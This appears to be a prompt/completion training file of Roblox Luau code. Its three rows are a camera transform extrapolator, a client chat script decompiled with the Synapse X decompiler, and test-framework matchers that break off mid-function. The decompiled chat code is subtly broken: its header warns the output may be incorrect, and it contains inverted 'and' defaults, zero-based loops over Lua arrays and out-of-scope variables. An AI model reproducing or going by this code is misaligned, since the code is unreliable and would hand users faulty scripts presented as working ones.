prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[[
Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view.
--]]
|
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local TransformExtrapolator = {} do
TransformExtrapolator.__index = TransformExtrapolator
local CF_IDENTITY = CFrame.new()
local function cframeToAxis(cframe: CFrame): Vector3
local axis: Vector3, angle: number = cframe:toAxisAngle()
return axis*angle
end
local function axisToCFrame(axis: Vector3): CFrame
local angle: number = axis.magnitude
if angle > 1e-5 then
return CFrame.fromAxisAngle(axis, angle)
end
return CF_IDENTITY
end
local function extractRotation(cf: CFrame): CFrame
local _, _, _, xx, yx, zx, xy, yy, zy, xz, yz, zz = cf:components()
return CFrame.new(0, 0, 0, xx, yx, zx, xy, yy, zy, xz, yz, zz)
end
function TransformExtrapolator.new()
return setmetatable({
lastCFrame = nil,
}, TransformExtrapolator)
end
function TransformExtrapolator:Step(dt: number, currentCFrame: CFrame)
local lastCFrame = self.lastCFrame or currentCFrame
self.lastCFrame = currentCFrame
local currentPos = currentCFrame.Position
local currentRot = extractRotation(currentCFrame)
local lastPos = lastCFrame.p
local lastRot = extractRotation(lastCFrame)
-- Estimate velocities from the delta between now and the last frame
-- This estimation can be a little noisy.
local dp = (currentPos - lastPos)/dt
local dr = cframeToAxis(currentRot*lastRot:inverse())/dt
local function extrapolate(t)
local p = dp*t + currentPos
local r = axisToCFrame(dr*t)*currentRot
return r + p
end
return {
extrapolate = extrapolate,
posVelocity = dp,
rotVelocity = dr,
}
end
function TransformExtrapolator:Reset()
self.lastCFrame = nil
end
end
|
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]--
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = false;
local v2, v3 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService");
end);
if v2 then
v1 = v3;
end;
local l__RunService__4 = game:GetService("RunService");
local l__ReplicatedStorage__5 = game:GetService("ReplicatedStorage");
local l__Chat__6 = game:GetService("Chat");
local l__StarterGui__7 = game:GetService("StarterGui");
local l__ContextActionService__8 = game:GetService("ContextActionService");
local v9 = l__ReplicatedStorage__5:WaitForChild("DefaultChatSystemChatEvents");
local v10 = l__ReplicatedStorage__5:WaitForChild("DefaultChatSystemChatEvents");
local l__ClientChatModules__11 = l__Chat__6:WaitForChild("ClientChatModules");
local v12 = require(l__ClientChatModules__11:WaitForChild("ChatConstants"));
local v13 = require(l__ClientChatModules__11:WaitForChild("ChatSettings"));
local v14 = require(l__ClientChatModules__11:WaitForChild("MessageCreatorModules"):WaitForChild("Util"));
local u1 = nil;
pcall(function()
u1 = require(game:GetService("Chat").ClientChatModules.ChatLocalization);
end);
if u1 == nil then
u1 = {
Get = function(p1, p2, p3)
return p3;
end
};
end;
local v15 = Instance.new("BindableEvent");
local u2 = {
OnNewMessage = "RemoteEvent",
OnMessageDoneFiltering = "RemoteEvent",
OnNewSystemMessage = "RemoteEvent",
OnChannelJoined = "RemoteEvent",
OnChannelLeft = "RemoteEvent",
OnMuted = "RemoteEvent",
OnUnmuted = "RemoteEvent",
OnMainChannelSet = "RemoteEvent",
SayMessageRequest = "RemoteEvent",
GetInitDataRequest = "RemoteFunction"
};
local u3 = {};
local u4 = 10;
function TryRemoveChildWithVerifyingIsCorrectType(p4)
if u2[p4.Name] then
if p4:IsA(u2[p4.Name]) then
u2[p4.Name] = nil;
u3[p4.Name] = p4;
u4 = u4 - 1;
end;
end;
end;
for v16, v17 in pairs(v10:GetChildren()) do
TryRemoveChildWithVerifyingIsCorrectType(v17);
end;
if u4 > 0 then
local v18 = v10.ChildAdded:connect(function(p5)
TryRemoveChildWithVerifyingIsCorrectType(p5);
if u4 < 1 then
v15:Fire();
end;
end);
v15.Event:wait();
v18:disconnect();
v15:Destroy();
end;
local l__UserInputService__19 = game:GetService("UserInputService");
local l__RunService__20 = game:GetService("RunService");
local l__Players__21 = game:GetService("Players");
local v22 = l__Players__21.LocalPlayer;
while not v22 do
l__Players__21.ChildAdded:wait();
v22 = l__Players__21.LocalPlayer;
end;
local v23 = 6;
if v13.ScreenGuiDisplayOrder ~= nil then
v23 = v13.ScreenGuiDisplayOrder;
end;
local v24 = Instance.new("ScreenGui");
v24.Name = "Chat";
v24.ResetOnSpawn = false;
v24.DisplayOrder = v23;
v24.Parent = v22:WaitForChild("PlayerGui");
local v25 = require(script:WaitForChild("MessageLabelCreator"));
local v26 = require(script:WaitForChild("MessageLogDisplay"));
local v27 = require(script:WaitForChild("ChatChannel"));
local v28 = require(script:WaitForChild("ChatWindow")).new();
local v29 = require(script:WaitForChild("ChannelsBar")).new();
local v30 = v26.new();
local v31 = require(script:WaitForChild("CommandProcessor")).new();
local v32 = require(script:WaitForChild("ChatBar")).new(v31, v28);
v28:CreateGuiObjects(v24);
v28:RegisterChatBar(v32);
v28:RegisterChannelsBar(v29);
v28:RegisterMessageLogDisplay(v30);
v14:RegisterChatWindow(v28);
local v33 = require(script:WaitForChild("MessageSender"));
v33:RegisterSayMessageFunction(u3.SayMessageRequest);
if l__UserInputService__19.TouchEnabled then
v32:SetTextLabelText(u1:Get("GameChat_ChatMain_ChatBarTextTouch", "Tap here to chat"));
else
v32:SetTextLabelText(u1:Get("GameChat_ChatMain_ChatBarText", "To chat click here or press \"/\" key"));
end;
local l__script__5 = script;
spawn(function()
local v34 = require(l__script__5:WaitForChild("CurveUtil"));
local v35 = 1 / (v13.ChatAnimationFPS and 20);
local v36 = tick();
while true do
local v37 = tick();
local v38 = v34:DeltaTimeToTimescale(v37 - v36);
if v38 ~= 0 then
v28:Update(v38);
end;
v36 = v37;
wait(v35);
end;
end);
function CheckIfPointIsInSquare(p6, p7, p8)
local v39 = false;
if p7.X <= p6.X then
v39 = false;
if p6.X <= p8.X then
v39 = false;
if p7.Y <= p6.Y then
v39 = p6.Y <= p8.Y;
end;
end;
end;
return v39;
end;
local u6 = 0;
local u7 = false;
local u8 = Instance.new("BindableEvent");
function DoBackgroundFadeIn(p9)
u6 = tick();
u7 = false;
u8:Fire();
v28:FadeInBackground(p9 or v13.ChatDefaultFadeDuration);
if v28:GetCurrentChannel() then
local l__Scroller__40 = v30.Scroller;
l__Scroller__40.ScrollingEnabled = true;
l__Scroller__40.ScrollBarThickness = v26.ScrollBarThickness;
end;
end;
function DoBackgroundFadeOut(p10)
u6 = tick();
u7 = true;
u8:Fire();
v28:FadeOutBackground(p10 or v13.ChatDefaultFadeDuration);
if v28:GetCurrentChannel() then
local l__Scroller__41 = v30.Scroller;
l__Scroller__41.ScrollingEnabled = false;
l__Scroller__41.ScrollBarThickness = 0;
end;
end;
local u9 = 0;
local u10 = false;
function DoTextFadeIn(p11)
u9 = tick();
u10 = false;
u8:Fire();
v28:FadeInText((p11 or v13.ChatDefaultFadeDuration) * 0);
end;
function DoTextFadeOut(p12)
u9 = tick();
u10 = true;
u8:Fire();
v28:FadeOutText(p12 or v13.ChatDefaultFadeDuration);
end;
function DoFadeInFromNewInformation()
DoTextFadeIn();
if v13.ChatShouldFadeInFromNewInformation then
DoBackgroundFadeIn();
end;
end;
function InstantFadeIn()
DoBackgroundFadeIn(0);
DoTextFadeIn(0);
end;
function InstantFadeOut()
DoBackgroundFadeOut(0);
DoTextFadeOut(0);
end;
local u11 = nil;
local u12 = Instance.new("BindableEvent");
function UpdateFadingForMouseState(p13)
u11 = p13;
u12:Fire();
if v32:IsFocused() then
return;
end;
if p13 then
else
DoBackgroundFadeIn();
return;
end;
DoBackgroundFadeIn();
DoTextFadeIn();
end;
local u13 = Instance.new("BindableEvent");
spawn(function()
while true do
l__RunService__20.RenderStepped:wait();
while not (not u11) or not (not v32:IsFocused()) do
if u11 then
u12.Event:wait();
end;
if v32:IsFocused() then
u13.Event:wait();
end;
end;
if not u7 then
if v13.ChatWindowBackgroundFadeOutTime < tick() - u6 then
DoBackgroundFadeOut();
end;
elseif not u10 then
if v13.ChatWindowTextFadeOutTime < tick() - u9 then
DoTextFadeOut();
end;
else
u8.Event:wait();
end;
end;
end);
function getClassicChatEnabled()
if v13.ClassicChatEnabled ~= nil then
return v13.ClassicChatEnabled;
end;
return l__Players__21.ClassicChat;
end;
function getBubbleChatEnabled()
if v13.BubbleChatEnabled ~= nil then
return v13.BubbleChatEnabled;
end;
return l__Players__21.BubbleChat;
end;
function bubbleChatOnly()
return not getClassicChatEnabled() and getBubbleChatEnabled();
end;
local u14 = {};
function UpdateMousePosition(p14)
if u14.Visible then
if u14.IsCoreGuiEnabled then
if not u14.TopbarEnabled then
if not v13.ChatOnWithTopBarOff then
return;
end;
end;
else
return;
end;
else
return;
end;
if bubbleChatOnly() then
return;
end;
local l__AbsolutePosition__42 = v28.GuiObject.AbsolutePosition;
local v43 = CheckIfPointIsInSquare(p14, l__AbsolutePosition__42, l__AbsolutePosition__42 + v28.GuiObject.AbsoluteSize);
if v43 ~= u11 then
UpdateFadingForMouseState(v43);
end;
end;
l__UserInputService__19.InputChanged:connect(function(p15, p16)
if p15.UserInputType == Enum.UserInputType.MouseMovement then
UpdateMousePosition((Vector2.new(p15.Position.X, p15.Position.Y)));
end;
end);
l__UserInputService__19.TouchTap:connect(function(p17, p18)
UpdateMousePosition(p17[1]);
end);
l__UserInputService__19.TouchMoved:connect(function(p19, p20)
UpdateMousePosition((Vector2.new(p19.Position.X, p19.Position.Y)));
end);
l__UserInputService__19.Changed:connect(function(p21)
if p21 == "MouseBehavior" and l__UserInputService__19.MouseBehavior == Enum.MouseBehavior.LockCenter then
local l__AbsolutePosition__44 = v28.GuiObject.AbsolutePosition;
if CheckIfPointIsInSquare(v24.AbsoluteSize / 2, l__AbsolutePosition__44, l__AbsolutePosition__44 + v28.GuiObject.AbsoluteSize) then
l__UserInputService__19.MouseBehavior = Enum.MouseBehavior.Default;
end;
end;
end);
UpdateFadingForMouseState(true);
UpdateFadingForMouseState(false);
local v45 = {
Signal = function()
local v46 = {};
local u15 = nil;
local u16 = nil;
local u17 = Instance.new("BindableEvent");
function v46.fire(p22, ...)
u15 = { ... };
u16 = select("#", ...);
u17:Fire();
end;
function v46.connect(p23, p24)
if not p24 then
error("connect(nil)", 2);
end;
return u17.Event:connect(function()
p24(unpack(u15, 1, u16));
end);
end;
function v46.wait(p25)
u17.Event:wait();
assert(u15, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.");
return unpack(u15, 1, u16);
end;
return v46;
end
};
function SetVisibility(p26)
v28:SetVisible(p26);
u14.VisibilityStateChanged:fire(p26);
u14.Visible = p26;
if u14.IsCoreGuiEnabled then
if p26 then
else
InstantFadeOut();
return;
end;
else
return;
end;
InstantFadeIn();
end;
u14.TopbarEnabled = true;
u14.MessageCount = 0;
u14.Visible = true;
u14.IsCoreGuiEnabled = true;
function u14.ToggleVisibility(p27)
SetVisibility(not v28:GetVisible());
end;
function u14.SetVisible(p28, p29)
if v28:GetVisible() ~= p29 then
SetVisibility(p29);
end;
end;
function u14.FocusChatBar(p30)
v32:CaptureFocus();
end;
function u14.EnterWhisperState(p31, p32)
v32:EnterWhisperState(p32);
end;
function u14.GetVisibility(p33)
return v28:GetVisible();
end;
function u14.GetMessageCount(p34)
return p34.MessageCount;
end;
function u14.TopbarEnabledChanged(p35, p36)
p35.TopbarEnabled = p36;
p35.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat));
end;
function u14.IsFocused(p37, p38)
return v32:IsFocused();
end;
u14.ChatBarFocusChanged = v45.Signal();
u14.VisibilityStateChanged = v45.Signal();
u14.MessagesChanged = v45.Signal();
u14.MessagePosted = v45.Signal();
u14.CoreGuiEnabled = v45.Signal();
u14.ChatMakeSystemMessageEvent = v45.Signal();
u14.ChatWindowPositionEvent = v45.Signal();
u14.ChatWindowSizeEvent = v45.Signal();
u14.ChatBarDisabledEvent = v45.Signal();
function u14.fChatWindowPosition(p39)
return v28.GuiObject.Position;
end;
function u14.fChatWindowSize(p40)
return v28.GuiObject.Size;
end;
function u14.fChatBarDisabled(p41)
return not v32:GetEnabled();
end;
if v1 then
local u18 = true;
l__ContextActionService__8:BindAction("ToggleChat", function(p42, p43, p44)
if p42 == "ToggleChat" and p43 == Enum.UserInputState.Begin and u18 and p44.UserInputType == Enum.UserInputType.Keyboard then
DoChatBarFocus();
end;
end, true, Enum.KeyCode.Slash);
else
local u19 = true;
function u14.SpecialKeyPressed(p45, p46, p47)
if p46 == Enum.SpecialKey.ChatHotkey and u19 then
DoChatBarFocus();
end;
end;
end;
u14.CoreGuiEnabled:connect(function(p48)
u14.IsCoreGuiEnabled = p48;
p48 = p48 and (u14.TopbarEnabled or v13.ChatOnWithTopBarOff);
v28:SetCoreGuiEnabled(p48);
if p48 then
InstantFadeIn();
return;
end;
v32:ReleaseFocus();
InstantFadeOut();
end);
function trimTrailingSpaces(p49)
local v47 = #p49;
while true do
if 0 < v47 then
else
break;
end;
if p49:find("^%s", v47) then
else
break;
end;
v47 = v47 - 1;
end;
return p49:sub(1, v47);
end;
local u20 = false;
u14.ChatMakeSystemMessageEvent:connect(function(p50)
if p50.Text and type(p50.Text) == "string" then
while not u20 do
wait();
end;
local l__GeneralChannelName__48 = v13.GeneralChannelName;
local v49 = v28:GetChannel(l__GeneralChannelName__48);
if v49 then
v49:AddMessageToChannel({
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = l__GeneralChannelName__48,
IsFiltered = true,
MessageLength = string.len(p50.Text),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p50.Text)),
Message = trimTrailingSpaces(p50.Text),
MessageType = v12.MessageTypeSetCore,
Time = os.time(),
ExtraData = p50
});
v29:UpdateMessagePostedInChannel(l__GeneralChannelName__48);
u14.MessageCount = u14.MessageCount + 1;
u14.MessagesChanged:fire(u14.MessageCount);
end;
end;
end);
u14.ChatBarDisabledEvent:connect(function(p51)
if u19 then
v32:SetEnabled(not p51);
if p51 then
v32:ReleaseFocus();
end;
end;
end);
u14.ChatWindowSizeEvent:connect(function(p52)
v28.GuiObject.Size = p52;
end);
u14.ChatWindowPositionEvent:connect(function(p53)
v28.GuiObject.Position = p53;
end);
function DoChatBarFocus()
if not v28:GetCoreGuiEnabled() then
return;
end;
if not v32:GetEnabled() then
return;
end;
if not v32:IsFocused() then
if v32:GetVisible() then
u14:SetVisible(true);
InstantFadeIn();
v32:CaptureFocus();
u14.ChatBarFocusChanged:fire(true);
end;
end;
end;
u13.Event:connect(function(p54)
u14.ChatBarFocusChanged:fire(p54);
end);
function DoSwitchCurrentChannel(p55)
if v28:GetChannel(p55) then
v28:SwitchCurrentChannel(p55);
end;
end;
function SendMessageToSelfInTargetChannel(p56, p57, p58)
local v50 = v28:GetChannel(p57);
if v50 then
v50:AddMessageToChannel({
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = p57,
IsFiltered = true,
MessageLength = string.len(p56),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p56)),
Message = trimTrailingSpaces(p56),
MessageType = v12.MessageTypeSystem,
Time = os.time(),
ExtraData = p58
});
end;
end;
function chatBarFocused()
if not u11 then
DoBackgroundFadeIn();
if u10 then
DoTextFadeIn();
end;
end;
u13:Fire(true);
end;
function chatBarFocusLost(p59, p60)
DoBackgroundFadeIn();
u13:Fire(false);
if p59 then
local v51 = v32:GetTextBox().Text;
if v32:IsInCustomState() then
local v52 = v32:GetCustomMessage();
if v52 then
v51 = v52;
end;
local v53 = v32:CustomStateProcessCompletedMessage(v51);
v32:ResetCustomState();
if v53 then
return;
end;
end;
v32:GetTextBox().Text = "";
if v51 ~= "" then
u14.MessagePosted:fire(v51);
if not v31:ProcessCompletedChatMessage(v51, v28) then
local v54 = nil;
if v13.DisallowedWhiteSpace then
local v55 = #v13.DisallowedWhiteSpace;
local v56 = 1 - 1;
while true do
if v13.DisallowedWhiteSpace[v56] == "\t" then
v51 = string.gsub(v51, v13.DisallowedWhiteSpace[v56], " ");
else
v51 = string.gsub(v51, v13.DisallowedWhiteSpace[v56], "");
end;
if 0 <= 1 then
if v56 < v55 then
else
break;
end;
elseif v55 < v56 then
else
break;
end;
v56 = v56 + 1;
end;
end;
v54 = string.gsub(string.gsub(v51, "\n", ""), "[ ]+", " ");
local v57 = v28:GetTargetMessageChannel();
if v57 then
v33:SendMessage(v54, v57);
return;
end;
v33:SendMessage(v54, nil);
end;
end;
end;
end;
local u21 = {};
function setupChatBarConnections()
local v58 = #u21;
local v59 = 1 - 1;
while true do
u21[v59]:Disconnect();
if 0 <= 1 then
if v59 < v58 then
else
break;
end;
elseif v58 < v59 then
else
break;
end;
v59 = v59 + 1;
end;
u21 = {};
table.insert(u21, (v32:GetTextBox().FocusLost:connect(chatBarFocusLost)));
table.insert(u21, (v32:GetTextBox().Focused:connect(chatBarFocused)));
end;
setupChatBarConnections();
v32.GuiObjectsChanged:connect(setupChatBarConnections);
function getEchoMessagesInGeneral()
if v13.EchoMessagesInGeneralChannel == nil then
return true;
end;
return v13.EchoMessagesInGeneralChannel;
end;
u3.OnMessageDoneFiltering.OnClientEvent:connect(function(p61)
if not v13.ShowUserOwnFilteredMessage and p61.FromSpeaker == v22.Name then
return;
end;
local l__OriginalChannel__60 = p61.OriginalChannel;
local v61 = v28:GetChannel(l__OriginalChannel__60);
if v61 then
v61:UpdateMessageFiltered(p61);
end;
if getEchoMessagesInGeneral() and v13.GeneralChannelName and l__OriginalChannel__60 ~= v13.GeneralChannelName then
local v62 = v28:GetChannel(v13.GeneralChannelName);
if v62 then
v62:UpdateMessageFiltered(p61);
end;
end;
end);
u3.OnNewMessage.OnClientEvent:connect(function(p62, p63)
local v63 = v28:GetChannel(p63);
if v63 then
v63:AddMessageToChannel(p62);
if p62.FromSpeaker ~= v22.Name then
v29:UpdateMessagePostedInChannel(p63);
end;
if getEchoMessagesInGeneral() and v13.GeneralChannelName and p63 ~= v13.GeneralChannelName then
local v64 = v28:GetChannel(v13.GeneralChannelName);
if v64 then
v64:AddMessageToChannel(p62);
end;
end;
u14.MessageCount = u14.MessageCount + 1;
u14.MessagesChanged:fire(u14.MessageCount);
DoFadeInFromNewInformation();
end;
end);
u3.OnNewSystemMessage.OnClientEvent:connect(function(p64, p65)
p65 = p65 and "System";
local v65 = v28:GetChannel(p65);
if v65 then
v65:AddMessageToChannel(p64);
v29:UpdateMessagePostedInChannel(p65);
u14.MessageCount = u14.MessageCount + 1;
u14.MessagesChanged:fire(u14.MessageCount);
DoFadeInFromNewInformation();
if getEchoMessagesInGeneral() and v13.GeneralChannelName and p65 ~= v13.GeneralChannelName then
local v66 = v28:GetChannel(v13.GeneralChannelName);
if v66 then
v66:AddMessageToChannel(p64);
return;
end;
end;
else
warn(string.format("Just received system message for channel I'm not in [%s]", p65));
end;
end);
function HandleChannelJoined(p66, p67, p68, p69, p70, p71)
if v28:GetChannel(p66) then
v28:RemoveChannel(p66);
end;
if p66 == v13.GeneralChannelName then
u20 = true;
end;
if p69 then
v32:SetChannelNameColor(p66, p69);
end;
local v67 = v28:AddChannel(p66);
if v67 then
if p66 == v13.GeneralChannelName then
DoSwitchCurrentChannel(p66);
end;
if p68 then
local v68 = 1;
if v13.MessageHistoryLengthPerChannel < #p68 then
v68 = #p68 - v13.MessageHistoryLengthPerChannel;
end;
local v69 = #p68;
local v70 = v68 - 1;
while true do
v67:AddMessageToChannel(p68[v70]);
if 0 <= 1 then
if v70 < v69 then
else
break;
end;
elseif v69 < v70 then
else
break;
end;
v70 = v70 + 1;
end;
if getEchoMessagesInGeneral() then
if p70 then
if v13.GeneralChannelName then
if p66 ~= v13.GeneralChannelName then
local v71 = v28:GetChannel(v13.GeneralChannelName);
if v71 then
v71:AddMessagesToChannelByTimeStamp(p68, v68);
end;
end;
end;
end;
end;
end;
if p67 ~= "" then
local v72 = {
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = p66,
IsFiltered = true,
MessageLength = string.len(p67),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p67)),
Message = trimTrailingSpaces(p67),
MessageType = v12.MessageTypeWelcome,
Time = os.time(),
ExtraData = nil
};
v67:AddMessageToChannel(v72);
if getEchoMessagesInGeneral() then
if p71 then
if not v13.ShowChannelsBar then
if p66 ~= v13.GeneralChannelName then
local v73 = v28:GetChannel(v13.GeneralChannelName);
if v73 then
v73:AddMessageToChannel(v72);
end;
end;
end;
end;
end;
end;
DoFadeInFromNewInformation();
end;
end;
u3.OnChannelJoined.OnClientEvent:connect(function(p72, p73, p74, p75)
HandleChannelJoined(p72, p73, p74, p75, false, true);
end);
u3.OnChannelLeft.OnClientEvent:connect(function(p76)
v28:RemoveChannel(p76);
DoFadeInFromNewInformation();
end);
u3.OnMuted.OnClientEvent:connect(function(p77)
end);
u3.OnUnmuted.OnClientEvent:connect(function(p78)
end);
u3.OnMainChannelSet.OnClientEvent:connect(function(p79)
DoSwitchCurrentChannel(p79);
end);
coroutine.wrap(function()
local l__ChannelNameColorUpdated__74 = v9:WaitForChild("ChannelNameColorUpdated", 5);
if l__ChannelNameColorUpdated__74 then
l__ChannelNameColorUpdated__74.OnClientEvent:connect(function(p80, p81)
v32:SetChannelNameColor(p80, p81);
end);
end;
end)();
local u22 = nil;
local u23 = nil;
local u24 = nil;
local u25 = nil;
pcall(function()
u22 = l__StarterGui__7:GetCore("PlayerBlockedEvent");
u23 = l__StarterGui__7:GetCore("PlayerMutedEvent");
u24 = l__StarterGui__7:GetCore("PlayerUnblockedEvent");
u25 = l__StarterGui__7:GetCore("PlayerUnmutedEvent");
end);
function SendSystemMessageToSelf(p82)
local v75 = v28:GetCurrentChannel();
if v75 then
v75:AddMessageToChannel({
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = v75.Name,
IsFiltered = true,
MessageLength = string.len(p82),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p82)),
Message = trimTrailingSpaces(p82),
MessageType = v12.MessageTypeSystem,
Time = os.time(),
ExtraData = nil
});
end;
end;
function MutePlayer(p83)
local l__MutePlayerRequest__76 = v9:FindFirstChild("MutePlayerRequest");
if l__MutePlayerRequest__76 then
else
return false;
end;
return l__MutePlayerRequest__76:InvokeServer(p83.Name);
end;
if u22 then
u22.Event:connect(function(p84)
if MutePlayer(p84) then
if v13.PlayerDisplayNamesEnabled then
local v77 = p84.DisplayName;
else
v77 = p84.Name;
end;
SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenBlocked", string.format("Speaker '%s' has been blocked.", v77), {
RBX_NAME = v77
}));
end;
end);
end;
if u23 then
u23.Event:connect(function(p85)
if MutePlayer(p85) then
if v13.PlayerDisplayNamesEnabled then
local v78 = p85.DisplayName;
else
v78 = p85.Name;
end;
SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", v78), {
RBX_NAME = v78
}));
end;
end);
end;
function UnmutePlayer(p86)
local l__UnMutePlayerRequest__79 = v9:FindFirstChild("UnMutePlayerRequest");
if l__UnMutePlayerRequest__79 then
else
return false;
end;
return l__UnMutePlayerRequest__79:InvokeServer(p86.Name);
end;
if u24 then
u24.Event:connect(function(p87)
if UnmutePlayer(p87) then
if v13.PlayerDisplayNamesEnabled then
local v80 = p87.DisplayName;
else
v80 = p87.Name;
end;
SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenUnBlocked", string.format("Speaker '%s' has been unblocked.", v80), {
RBX_NAME = v80
}));
end;
end);
end;
if u25 then
u25.Event:connect(function(p88)
if UnmutePlayer(p88) then
if v13.PlayerDisplayNamesEnabled then
local v81 = p88.DisplayName;
else
v81 = p88.Name;
end;
SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", v81), {
RBX_NAME = v81
}));
end;
end);
end;
spawn(function()
if v22.UserId > 0 then
pcall(function()
local v82 = l__StarterGui__7:GetCore("GetBlockedUserIds");
if #v82 > 0 then
local l__SetBlockedUserIdsRequest__83 = v9:FindFirstChild("SetBlockedUserIdsRequest");
if l__SetBlockedUserIdsRequest__83 then
l__SetBlockedUserIdsRequest__83:FireServer(v82);
end;
end;
end);
end;
end);
spawn(function()
local v84, v85 = pcall(function()
return l__Chat__6:CanUserChatAsync(v22.UserId);
end);
if v84 then
u19 = l__RunService__20:IsStudio() and v85;
end;
end);
local v86 = u3.GetInitDataRequest:InvokeServer();
for v87, v88 in pairs(v86.Channels) do
if v88[1] == v13.GeneralChannelName then
HandleChannelJoined(v88[1], v88[2], v88[3], v88[4], true, false);
end;
end;
for v89, v90 in pairs(v86.Channels) do
if v90[1] ~= v13.GeneralChannelName then
HandleChannelJoined(v90[1], v90[2], v90[3], v90[4], true, false);
end;
end;
return u14;
|
-- ROBLOX deviation: toBeUndefined equivalent to toBeNil
|
local function toBeUndefined(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: nil
)
local matcherName = "toBeUndefined"
local options: MatcherHintOptions = {
isNot = self.isNot,
promise = self.promise,
}
ensureNoExpected(expected, matcherName, options)
local pass = received == nil
local message = function()
return matcherHint(matcherName, nil, "", options)
.. "\n\n"
.. string.format("Received: %s", printReceived(received))
end
return { message = message, pass = pass }
end
local function toContain(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: any
)
local matcherName = "toContain"
local isNot = self.isNot
local options: MatcherHintOptions = {
comment = "string.find or table.find",
isNot = isNot,
promise = self.promise,
}
if received == nil then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must not be nil", RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
if typeof(received) == "string" then
local wrongTypeErrorMessage = ("%s value must be a string if %s value is a string"):format(
EXPECTED_COLOR("expected"),
RECEIVED_COLOR("received")
)
if typeof(expected) ~= "string" then
error(
Error.new(
matcherErrorMessage(
matcherHint(matcherName, received, tostring(expected), options),
wrongTypeErrorMessage,
tostring(printWithType("Expected", expected, printExpected))
.. "\n"
.. tostring(printWithType("Received", received, printReceived))
)
)
)
end
local index = received:find(tostring(expected), 1, true)
local pass = index ~= nil
local message = function()
local labelExpected = string.format("Expected %s", typeof(expected) == "string" and "substring" or "value")
local labelReceived = "Received string"
local printLabel = getLabelPrinter(labelExpected, labelReceived)
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format(
"%s%s%s\n",
printLabel(labelExpected),
isNot and "never " or "",
printExpected(expected)
)
.. string.format(
"%s%s%s",
printLabel(labelReceived),
isNot and " " or "",
isNot and printReceivedStringContainExpectedSubstring(received, index, #tostring(expected))
or printReceived(received)
)
end
return { message = message, pass = pass }
end
local indexable = Array.from(received)
local index = table.find(indexable, expected)
local pass = index ~= nil
local message = function()
local labelExpected = "Expected value"
local labelReceived = string.format("Received %s", getType(received))
local printLabel = getLabelPrinter(labelExpected, labelReceived)
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format(
"%s%s%s\n",
printLabel(labelExpected),
isNot and "never " or "",
printExpected(expected)
)
.. string.format("%s%s", printLabel(labelReceived), isNot and " " or "")
if isNot and Array.isArray(received) then
retval = retval .. printReceivedArrayContainExpectedItem(received, index)
else
retval = retval .. printReceived(received)
end
if
not isNot
and Array.findIndex(received, function(item)
return equals(item, expected, { iterableEquality })
end)
~= -1
then
retval = retval .. string.format("\n\n%s", SUGGEST_TO_CONTAIN_EQUAL)
end
return retval
end
return { message = message, pass = pass }
end
local function toContainEqual(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: any
)
local matcherName = "toContainEqual"
local isNot = self.isNot
local options: MatcherHintOptions = {
comment = "deep equality",
isNot = isNot,
promise = self.promise,
}
if received == nil then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must not be nil", RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
local index = Array.findIndex(Array.from(received), function(item)
return equals(item, expected, { iterableEquality })
end)
local pass = index ~= -1
local message = function()
local labelExpected = "Expected value"
local labelReceived = string.format("Received %s", getType(received))
local printLabel = getLabelPrinter(labelExpected, labelReceived)
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format(
"%s%s%s\n",
printLabel(labelExpected),
isNot and "never " or "",
printExpected(expected)
)
.. string.format("%s%s", printLabel(labelReceived), isNot and " " or "")
if isNot and Array.isArray(received) then
retval = retval .. printReceivedArrayContainExpectedItem(received, index)
else
retval = retval .. printReceived(received)
end
return retval
end
return { message = message, pass = pass }
end
local function toEqual(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: any
)
local matcherName = "toEqual"
local options: MatcherHintOptions = {
comment = "deep equality",
isNot = self.isNot,
promise = self.promise,
}
local pass = equals(received, expected, { iterableEquality })
local message
if pass then
message = function()
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected: never %s\n", printExpected(expected))
if stringify(expected) ~= stringify(received) then
retval = retval .. string.format("Received: %s", printReceived(received))
end
return retval
end
else
message = function()
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. printDiffOrStringify(expected, received, EXPECTED_LABEL, RECEIVED_LABEL, isExpand(self.expand))
end
end
-- Passing the actual and expected objects so that a custom reporter
-- could access them, for example in order to display a custom visual diff,
-- or create a different error message
return { actual = received, expected = expected, message = message, name = matcherName, pass = pass }
end
local function toHaveLength(
